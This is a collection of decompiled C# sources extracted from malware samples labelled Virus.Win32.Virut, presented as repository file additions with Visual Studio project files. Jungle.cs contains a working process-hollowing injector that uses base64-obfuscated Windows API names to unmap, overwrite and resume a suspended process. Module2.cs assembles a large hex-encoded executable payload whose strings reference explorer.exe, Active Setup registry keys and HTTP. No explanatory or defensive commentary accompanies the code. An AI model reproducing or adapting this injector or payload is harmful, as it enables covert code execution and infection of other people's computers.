// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368
// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace Toya.Upgrade.Properties
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
[CompilerGenerated]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
public static Settings Default => Settings.defaultInstance;
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.csproj
+51
View File
@@ -0,0 +1,51 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{77F5CB18-5373-4C95-ADD5-D61DA9753209}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Toya.Upgrade</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>Toya.Upgrade</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Configuration" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="AppFile.cs" />
<Compile Include="Program.cs" />
<Compile Include="FrmMain.cs" />
<Compile Include="Properties\Resources.cs" />
<Compile Include="Properties\Settings.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="FrmMain.resx" />
<EmbeddedResource Include="Properties\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Toya.Upgrade", "Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.csproj", "{77F5CB18-5373-4C95-ADD5-D61DA9753209}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{77F5CB18-5373-4C95-ADD5-D61DA9753209}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{77F5CB18-5373-4C95-ADD5-D61DA9753209}.Debug|Any CPU.Build.0 = Debug|Any CPU
{77F5CB18-5373-4C95-ADD5-D61DA9753209}.Release|Any CPU.ActiveCfg = Release|Any CPU
{77F5CB18-5373-4C95-ADD5-D61DA9753209}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/AssemblyInfo.cs
+3
View File
@@ -0,0 +1,3 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Jungle.cs
+139
View File
@@ -0,0 +1,139 @@
// Decompiled with JetBrains decompiler
// Type: Jungle
// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Runtime.InteropServices;
using System.Text;
[StandardModule]
internal sealed class Jungle
{
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
public static T uaudtkjgyirfbxgkwnan<T>(string name, string method) => (T) Marshal.GetDelegateForFunctionPointer(Jungle.GetProcAddress(Jungle.LoadLibraryA(ref name), ref method), typeof (T));
public static bool yglgwgdiliknhk(byte[] uqgycnjiknhkagfbjqd, string pzxbickcbxkqrrbb)
{
Jungle.qrcfkrbqgnvqowkotazx qrcfkrbqgnvqowkotazx = Jungle.uaudtkjgyirfbxgkwnan<Jungle.qrcfkrbqgnvqowkotazx>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E=")));
Jungle.rcucvabyilfqtsczprb rcucvabyilfqtsczprb = Jungle.uaudtkjgyirfbxgkwnan<Jungle.rcucvabyilfqtsczprb>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA==")));
Jungle.tovdnpeketcxszjndiwn tovdnpeketcxszjndiwn = Jungle.uaudtkjgyirfbxgkwnan<Jungle.tovdnpeketcxszjndiwn>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk=")));
Jungle.gfrsbdrwpxxdchnzcuu gfrsbdrwpxxdchnzcuu = Jungle.uaudtkjgyirfbxgkwnan<Jungle.gfrsbdrwpxxdchnzcuu>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg=")));
Jungle.orpuhtusqcaecvhbpgk orpuhtusqcaecvhbpgk = Jungle.uaudtkjgyirfbxgkwnan<Jungle.orpuhtusqcaecvhbpgk>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5")));
Jungle.fbiwwfvcqkvzpejryqq fbiwwfvcqkvzpejryqq = Jungle.uaudtkjgyirfbxgkwnan<Jungle.fbiwwfvcqkvzpejryqq>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA==")));
Jungle.qwcbhkowiggklhqxcez qwcbhkowiggklhqxcez = Jungle.uaudtkjgyirfbxgkwnan<Jungle.qwcbhkowiggklhqxcez>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk")));
Jungle.gocngjjzjswdligx gocngjjzjswdligx = Jungle.uaudtkjgyirfbxgkwnan<Jungle.gocngjjzjswdligx>(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24=")));
bool flag;
try
{
IntPtr zero1 = IntPtr.Zero;
IntPtr[] wjqhztdqqfvihdnejqf = new IntPtr[4];
byte[] bezzveiceppbdtpjvgvr = new byte[68];
int int32_1 = BitConverter.ToInt32(uqgycnjiknhkagfbjqd, 60);
int int16 = (int) BitConverter.ToInt16(uqgycnjiknhkagfbjqd, checked (int32_1 + 6));
IntPtr unexaspqvfrqgeiu = new IntPtr(BitConverter.ToInt32(uqgycnjiknhkagfbjqd, checked (int32_1 + 84)));
if (qrcfkrbqgnvqowkotazx((string) null, new StringBuilder(pzxbickcbxkqrrbb), zero1, zero1, false, 4, zero1, (string) null, bezzveiceppbdtpjvgvr, wjqhztdqqfvihdnejqf))
{
uint[] numArray1 = new uint[179];
numArray1[0] = 65538U;
if (rcucvabyilfqtsczprb(wjqhztdqqfvihdnejqf[1], numArray1))
{
IntPtr tkgpprxflwbvtnkit = new IntPtr(checked ((long) numArray1[41] + 8L));
IntPtr zero2 = IntPtr.Zero;
IntPtr xjyoeulnvhdoizzfvt = new IntPtr(4);
IntPtr zero3 = IntPtr.Zero;
if (tovdnpeketcxszjndiwn(wjqhztdqqfvihdnejqf[0], tkgpprxflwbvtnkit, ref zero2, (int) xjyoeulnvhdoizzfvt, ref zero3) && gocngjjzjswdligx(wjqhztdqqfvihdnejqf[0], zero2) == 0U)
{
IntPtr num1 = new IntPtr(BitConverter.ToInt32(uqgycnjiknhkagfbjqd, checked (int32_1 + 52)));
IntPtr num2 = new IntPtr(BitConverter.ToInt32(uqgycnjiknhkagfbjqd, checked (int32_1 + 80)));
IntPtr vtxceuzwsgnhcrkbsfrh = gfrsbdrwpxxdchnzcuu(wjqhztdqqfvihdnejqf[0], num1, num2, 12288, 64);
int int32_2 = vtxceuzwsgnhcrkbsfrh.ToInt32();
int dxuexfagacgrbvxohsh;
int num3 = orpuhtusqcaecvhbpgk(wjqhztdqqfvihdnejqf[0], vtxceuzwsgnhcrkbsfrh, uqgycnjiknhkagfbjqd, checked ((uint) (int) unexaspqvfrqgeiu), dxuexfagacgrbvxohsh) ? 1 : 0;
int num4 = checked (int16 - 1);
int num5 = 0;
while (num5 <= num4)
{
int[] dst = new int[10];
Buffer.BlockCopy((Array) uqgycnjiknhkagfbjqd, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40);
byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)];
Buffer.BlockCopy((Array) uqgycnjiknhkagfbjqd, dst[5], (Array) numArray2, 0, numArray2.Length);
num2 = new IntPtr(checked (int32_2 + dst[3]));
num1 = new IntPtr(numArray2.Length);
int num6 = orpuhtusqcaecvhbpgk(wjqhztdqqfvihdnejqf[0], num2, numArray2, checked ((uint) (int) num1), dxuexfagacgrbvxohsh) ? 1 : 0;
checked { ++num5; }
}
num2 = new IntPtr(checked ((long) numArray1[41] + 8L));
num1 = new IntPtr(4);
int num7 = orpuhtusqcaecvhbpgk(wjqhztdqqfvihdnejqf[0], num2, BitConverter.GetBytes(vtxceuzwsgnhcrkbsfrh.ToInt32()), checked ((uint) (int) num1), dxuexfagacgrbvxohsh) ? 1 : 0;
numArray1[44] = checked ((uint) (vtxceuzwsgnhcrkbsfrh.ToInt32() + BitConverter.ToInt32(uqgycnjiknhkagfbjqd, int32_1 + 40)));
int num8 = fbiwwfvcqkvzpejryqq(wjqhztdqqfvihdnejqf[1], numArray1) ? 1 : 0;
}
}
int num = (int) qwcbhkowiggklhqxcez(wjqhztdqqfvihdnejqf[1]);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
flag = false;
ProjectData.ClearProjectError();
goto label_11;
}
return true;
label_11:
return flag;
}
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool qrcfkrbqgnvqowkotazx(
string vqhgnxhvtgaixrkr,
StringBuilder sfpleudarlvstvphxd,
IntPtr opceqaenbxpkoyqjrx,
IntPtr yletcelaqjwjnjixt,
[MarshalAs(UnmanagedType.Bool)] bool soonufgywgkruuxdkj,
int zqquneivrpwqncwjs,
IntPtr ydfgwwtlcaycdbjgbgse,
string vbjsaqfkuthodbrjh,
byte[] bezzveiceppbdtpjvgvr,
IntPtr[] wjqhztdqqfvihdnejqf);
public delegate bool orpuhtusqcaecvhbpgk(
IntPtr skxaxwzisjyqiflcqjtz,
IntPtr vtxceuzwsgnhcrkbsfrh,
byte[] hbqpinezvrptngfqfkx,
uint unexaspqvfrqgeiu,
int dxuexfagacgrbvxohsh);
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool tovdnpeketcxszjndiwn(
IntPtr yndoerzhrcoyfexh,
IntPtr tkgpprxflwbvtnkit,
ref IntPtr gajudtehsfbihyjgxlby,
int xjyoeulnvhdoizzfvt,
ref IntPtr iljuhsatzgrbpaaylc);
public delegate IntPtr gfrsbdrwpxxdchnzcuu(
IntPtr iqsebovyqdhwqbpfs,
IntPtr xdiiqrxtbnwjzyurvdj,
IntPtr xzohxargiyhzpnsovq,
int oiypvloixyvqvvbn,
int tksgnzvtpxizobuvsi);
public delegate uint gocngjjzjswdligx(IntPtr rskufyftnnrxoggv, IntPtr pjplyockxlgiyqsd);
public delegate uint qwcbhkowiggklhqxcez(IntPtr avojgvabofsqvffsjrpr);
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool rcucvabyilfqtsczprb(IntPtr fvtookancwfyduva, uint[] hjvyxexshckpfufon);
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool fbiwwfvcqkvzpejryqq(IntPtr jefplkrbcsdjqydnwepz, uint[] ehlgzpcblholqlxyux);
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Module2.cs
+334
View File
@@ -0,0 +1,334 @@
// Decompiled with JetBrains decompiler
// Type: Module2
// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
[StandardModule]
internal sealed class Module2
{
private static string Vital;
private static byte[] Combine;
[STAThread]
public static void Main()
{
Module2.Vital += "4D5A90000300000004000000504500004C010100170475470000000000000000E0000F010B010600007000000000000000000000897C0000001000000C000000000040000010000000020000040000000000000004000000000000000080000000020000";
Module2.Vital += "038B0000020000000000100000100000000010000010000000000000100000000000000000000000907D00003C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000001000002C0000000000000000000000000000000000000000000000000000002E7465787400000000700000001000000070000000020000000000000000000000000000200000E0";
Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000907D00003C000000008000006009000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000001000002C0000000000000000000000000000000000000000000000000000002E74657874000000A66E0000001000000070000000040000000000000000000000000000";
Module2.Vital += "200000E02E7273726300000030AE807C31B7807C2E93807CA400927CFACA817CF21E807CAD2F817C51AC807C00000000EA073D7E000000000000000000000000000090000300000004000000FFFF0000B800000000000000400000000000000000000000";
Module2.Vital += "000000000000000000000000000000000000000000000000000100000E1FBA0E00B409CD21B8014CCD2100000000000000000000000000000000000000000000000000000000000000000000000000652E0D0D0A2400000000000000FDEA7B49B98B151A";
Module2.Vital += "B98B151AB98B151AC297191AB88B151AD6941E1AB88B151A3A971B1ABD8B151AD694111ABB8B151A5194101AB88B151AB98B151AB38B151AB98B141A0A8B151ADB94061AB48B151A46AB1E1AB88B151A8FAD1E1AB38B151A52696368B98B151A00000000";
Module2.Vital += "0000000000000000000000000000000000000000504500004C0103000BDD73470000000000000000E0000E210B010600006000000010000000B00000101D010000C000000020010000000010001000000002000004000000000000000400000000000000";
Module2.Vital += "00300100001000000000000002000000000010000010000000001000001000000000000010000000000000000000000000200100F0010000000000000000000000000000000000000000000000000000F02101000C000000000000000000000000000000";
Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000742073656300B000000010000000000000000400000000000000000000";
Module2.Vital += "00000000800000E031000074207365630060000000C000000060000000040000000000000000000000000000400000E0320000646572730000100000002001000002000000640000000000000000000000000000400000C0000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003030303030303038210C09020A37EDC88DFE55A366D7F30000105D000000D4000026010050DBA100920020733853FFFFFF";
Module2.Vital += "FF4F4654574152455C4D6963726F736F66745C4163746976652053657475705C4977F9FFFF6E7374616C6C656420436F6D706F6E656E74735C25202041FFFFCBEF0FC4052E4898BE9DAFBE93B8B0B9BCB7ABBEB3B9B89AC0FEDFFEBCB9ADAFBDBD4A179B";
Module2.Vital += "BFAFBCC39DC3BDBEAFB71F2FDB3F7B4AA4C1138EAFACBFB18D30BEB64A95FFDFB6B7AF45BCC0B3398E3BADBCB3BABEB9BC9EABACB6AFC366B7E54A9ABDB337ABB6345DDCC1B66F4499BAAFB835C30990B32B6FED97CD0A228EBFBAB65275AF99ACD83277";
Module2.Vital += "F7B4AFADBE118DBCAF0E210FEB66C94E8FC21158D8A078C2B6166CBF0D9962BE0BEDE40F581C9FB8B6B9ABAEA1BFB3D6B6771BB3BCBEBF1F97B2C94B752F5B0924819EB206AEFE85B9CE0E18BEAA3D0070312E326478F7851B6F616464882E6461740B5F";
Module2.Vital += "6F6B5FF0B6FF7F835065C5006578706C6F7265722E0865138084B7BDB975627025680BE7753B37C6233547075A772756BEFD63BF2175654B65790F577269746546693200637066FBEF58F672631F49734E5441646D696EAF76B7761B7686636BB15F005C";
Module2.Vital += "0F633ADA0576DB0530B73373975734BB75DFD8DF7765437572728656D0736990826DEE5BAE70702050CD1869E87FFB13F674DB436C6173736520485454505C736BB7DBDB68656F5C6F70425C63D26D61542B68EDBFED641461BF6B6C67006E938F2FE65A";
Module2.Vital += "4834BABC07C5B07FDF0C57946772616DE773446972AFBF13612BDB52752F558BB7FFFFFFEC83EC54568B75088B561083FA0875098D461650FF560CEB5C0D0C75FEFF98FB0F8D861A01911416EB48576A115933C08D7DACF3ABDFFDBBDF04F08D4E16AB00";
Module2.Vital += "668B4614C745AC444E668945DC8D7B7BDBDA45F02F0E5027505052025051501CFBFF3773D801550485C05F740C8B45F86A0189862002127F7B677F585EC9C2040087518538FC6A04506A22D9CE4D6E32FC02772D46082AB48586C647111E63E664CB1916";
Module2.Vital += "FE2D77000F4D6F647529486CF6FBFFB705414B4B45524E454C33322E444C4C0F446518BDB67D8F361E4336610B4270986DCE3E2D3C76199FA17BB8B6196E2A373400567B73B48D46A67E46326741B9370E4247486F464578571F82B5BF9113435C757345";
Module2.Vital += "421E2C19CB0ABB524D656DD49C7B14FF12178B17F7AC85AC161917A9546806A92D905B643F4E741723F2026B0B0F4F4E74F8B60B174C3F4C6F08449B5C376033D714A3A70A0020037BADF14C69628A40DA0FB7B0179257FC0F212104A13504B169772D73";
Module2.Vital += "676E1B0F529D93051B36ECE122B7C6DA80D082D4519741A404B7B0D72A1123CFC83D4EDB87756D787494796D2F1D77C9260799A76E616201750721B58D744869464349B7EDEB6B0A6A74D07422674D636167ADB5B370DA4308940938415BDBB57B177A44";
Module2.Vital += "72FD7244765769C33D826B1E41576176691E77EF56C82E5C102C673117B5BB6D75404C6C7474707504666FEFDE1D98332D0763322575237376636837B0CD956F0F0E7C022352B295BD1316172B966BA53F4953504C41590B834AA04F4B7A6E0B086B304E";
Module2.Vital += "0A86195BA065F23F614BD8D810B61F73130EBF826DDBC373D069CFE407341C7BB363AE002A7F22132D25D879CE1A6F04203A1BB6B3F3D9332F0733440B52093A904106F907464E43B164DD6444055CE7070BF9B0630B642E027C25733B5B769675690802";
Module2.Vital += "7829D0FDBA297350336B3256034ECCCD6627C3079F0BB8D8E3C9C1815465F931204B43B00824F73F1E1F89068D3BEC79313233342DD086FD353637383930091B086A736CB46E6674547E95505C3A19866DAC673C5C187671434BF64623A0756275672357";
Module2.Vital += "D1B8FDF86844385B007480536852B14683D7A76E0BD1401FD377DA780BA26E530B52A4AD0D3BB907A61FB40BFC0D5A03437A53E22F352E302028B0A6261CF7FF6950292303B73577006790715B656C7339DC07EF69342C3203D919686A8F702072756A42";
Module2.Vital += "20346B2CB135232043207769DD4F6ABEE1DA9B10DB4269667220CD45EBCE35209B740F3F61D2BFB96C000100FF0D0A434C4950424FBE9D1D6DE1443A68730E5F0D0A617BB3FF0750415353574F1A0F013C995BD9ED023E17733E4B33B355D82A639B213B";
Module2.Vital += "7A7A5CE430DB2000560B5B4000571BB8D00F3F41567479C05F6960404031ACBB7C17F8A76407A829ECC006EC6737C845011371DB85ECE05B3B0FE81B100C425F7477E781EC102553ED5757F96F0DFD4D8DBE54096168420314578945F8FF1585CCFF7F02";
Module2.Vital += "5C80650B0083C40C807E4C010F85EC556EAD7D9AF4FC683F4C30005768B9B9BD8622802F818B3D088B1D9F0B5DA89C64755BB7500385F0EC9BFDB6FEAC502301A00C681011B6873DECA41ED340296A0239D4DEDF7EEB8F6A3BFF75FCFFD74B7404C6450B";
Module2.Vital += "010CDFDE8EFD6804EB0E807D03740EA10FA8DC80B8BBD5D0A71418754AD680507442A56147BAD8A249086801A70A7DCFDD289B2181C6567556DA7EB2D8D61F5BF86B635F5E5BC9C3F6F6BF1929510C83E811743748742807047414201F6159BA02100C08";
Module2.Vital += "2650EB2A83F8DC61DB7D10731110544D0758DF46785F26EB0FFF359F765967585DC210EF0F7F46EE445633F6573001945656E268BB1D6E3C5668B90B6A0A38596E68B4D9DEBC45BC83C6034C50473876D907C0113A583C563998563BB6056BBA007AE013";
Module2.Vital += "024052A16DADFB0244A374D0163FE4233F9B6CAC1B1D0A502148094C20FC18B507EBDD5F70D8518D442400ED13FE38DD09118F50A19059C3D17B8F8D750112CBD03B3868F4AB1EED7B33F68CC3E3D49F8C83250A0031EF33D5760D125C45571778902F7C";
Module2.Vital += "A3A9D4B56A1EC85AF6C1B70AD1E9FF166EFF81F12083B8EDEB02094A75661521890C8240FB5DF7873D057CD6C3B810303CA7BC51B81010472D34341CA78C8D5339836939B7B7DF8874AC75E88965F005FC751ECCE0685DE15B76136850E02CDC330613C3";
Module2.Vital += "8E85BB124813CFC35D279C6A03ED854F7038250AAD006083F8E1EFD81BF1EC750E0D5C8933A6180019D69D1B6508ACE0EF7D502F706BFFC8ECD88B4D08894DE4B6853BC6FDB6EE6F013BCE74615657968BD93D918DB5FD6FB7FA338B5D45141EEF8A1E8A";
Module2.Vital += "C14632C3C1E9B85DE3BF1D1C8733CB3BD675EB582D890860E9E50873956101817DE4E377B0DBF6769768391974091E01883EDBD66E0E9C6FF7D1452AF40EE87BB6C6E964890D7FAFDC0002E6FDECCF5A08E7C0FF742420E88BF083FE76978FB40D21308D";
Module2.Vital += "88EC0905E404515158CF8E35462064565F5EC3206FB7EFCE54DA7D0883C9FFC9F2AE6F2BF98D8537F7FF55D48BC18BF78BFA83A5ACFE9DD802F3A5D2BBD17DFB6A4983E10323F3A48B3541C8BDBDB01D3EBADB87C0D4D6D6598C0206ACEFF7F5116B080F";
Module2.Vital += "84944C8D41C78505AD8EAFB9286B8622A6AC70128E7DA491D0D6209C8BD85948D7507395C6FA065360C4B99A2CEF339CA530ACCF3FA012D3C0B6643F6CFC3ADC3D08EE6EEBC7288BB5B41F4DC6EB0B4B91DACC120CC2F69E2882DBE2C6535566DB579280";
Module2.Vital += "A94D3E4873C2534C8054E883FDFFBBB5C3DAC8C5F67CE124FC5568464D854301C2483CC46A5B03BA05244915D64E77CCFCC77A783944241C0F87AB2F582B2164E7C93A1FD72F286A050FE976EDF3306A106A2F478104DC1234CC74A59DEA8E13910D4006";
Module2.Vital += "1BEEC26C05141528B828877CDAFDFF0BF78A178ACA3A10751A3ACB74128A57010C500177DD1ADCB84747531175E29E051BC063B71BFD83D8FF3BC37436C0E93D194577BFF7CD6A82446E57BA7C5D673162C14C2C1267ED66E0EDE1DCBAA000CA4A81C715";
Module2.Vital += "817CFF23B5C214F40ECCDC6A14895C24148DBAE736E6DA950C0D1513590E180FB7DCFF1885395820764933FF8D4C747B8407B160117E426A202F7126179B056B121BE113692FF4F65BFF221083C7208B3D103B48BAB98078DE6DA68314A79B57247A100F";
Module2.Vital += "868EEB666FE70C0918BF74662E2050A5AC7BEF01966A10186ED98441981D50148D1C02F656F60403C7A0149BB7ED05EB1A20A09DA404A0240F716203C7827B73A986A1CD25B38DD8A4ADD58B48014C776C12A70203254605871C47ECA533109C38017D16";
Module2.Vital += "1505E4360BD8C81A2B4387001D93C9B8D77E1CB7144DD816622D80891418098E19B1D7141C1C40E99402251EB15344ED1920AC5BB65BC9741F3603241D23DDA4EE740A103C0918CCB6813DEC59EB1145A8E0A6FDEF38D9CC76F7A70CF09A640BC94B045C";
Module2.Vital += "0617327CB353D9D88BF81CD657020B39805C060EE404027619340674F2AC071B57CBB301551C8AC3759E80E95D5B5F1FC8046B22B2E124F93D39E205C711186BFD5F576A1AA836FC12620FA189A4E018BF0588240B32D9C1E6EB121784BB24073B3C8898";
Module2.Vital += "430A580562928FBDC81589980C0AA440ACB9E5E6F700FFC70674DF7DEC63D09C39BD100F756B83BD040704B19BCD6D88F4150C085A75113FF2B05DCFC68003031B052685CDEFC8844C0A02399D190519B009CA430136DED7F672021D891F85504604B23D";
Module2.Vital += "6025642805EB701203ADD9CB1304EB5D05753F5AA940BE36601A06C41372E501FBEC079C0275274308EB1973B001E406751409A6140A7838160C8F89762E7D7833BE06462D980D1F0E6C270B42C38D943AFFD0BD0B673C60F871C2B003986007B0F5269D";
Module2.Vital += "9DE9983090BC188E0D0AFD13152D84CD28AD2DA1AFFB19D0487505B4745163608956B0C13A5CD20C8FB84B931DDD6A5B57573A6E38EC668B9D275101FD0C44B71981DFBF632A6AB69AD88F3C59CCD6B6DD5809142D5210BA2706C8B327FF95D8053D0191";
Module2.Vital += "430F8B001272604F83C0761D80199221D90F99ABBB21199221CDD9C8211992E7F304010CC9905C10254C2DC41E92024C09024002B230F20C3C59284A638DC41076C18CADFFB170CAD0B0E01333B38D642FFB86D9403819755415916A62C234E72311B468";
Module2.Vital += "A32F9494BA8D4DDC587B946AD1DE3A8B510B94515300886EC5669554903070536622B727DD21C405A088E98C2031EB5F7ECC648801B8597E0D69C0E8032AF6EA930E8CF55DF405BB3FF2920FF0F8BE005E3CFD3CFD32C0581CD68B280B9D014A9477D5A8";
Module2.Vital += "19046DCEECCAFC57DE85F59A1EF8C3EA59A88E314053FE4F0866BE2020CB1829C04DBA259BB1501D8C848C75FC2243304E14D054ACCD0E6082821D6376B708DB76755817ECBAECDA3E38FB23DBD73E45D87999F07EF024D32D9B7528261DDF17841BF6B9";
Module2.Vital += "590E4F4E690432085B10427645F4CD2121F44843800D601E27DA87C516763E4D055409B61CBADA32E01932651412EC61F5B75602740D688813F7EBD42B85C30E783898DA7A2C052E68139ACFEE015E56371F0000800C9AF8EE0E08E4EB03253998D4360B";
Module2.Vital += "B9478AFDAF21331CB789B0F87BE32CDE22BDEC59747D60115B1735DCF7C7801A03366BFB192E0A46DC64FF1A05B735E375C056A6F4290B0C1B9586DC5B9469041A07B4191F61E053715AAF68FB875AE002CC33FD593C016A0D8BD4AE4DDD281232620809";
Module2.Vital += "5DB342B737E0C3E55327CB75A902EF8CE50CB8BF7B590524167AEBCD57C35704D858E560C57608C25916909F99B3BD0155C7741E57CF9609191E10068E5757D419C722B6A45706A0E11334C0A7AE481856F209B6B19D17751C1AAC0818A26E6D070C05EC";
Module2.Vital += "011E21E850BCD533EE2550115501A88B848D75E8265A735B31A500E8E7FE010EB3B10419B009AF056B72FC1C300580A59C8473C0C04E3084D8AAEFEDEC8059EDD4898554453DB74670E53EDB05E9B9FC1A5917CC62EC05849FE53EE1E4C91724B515C0AC";
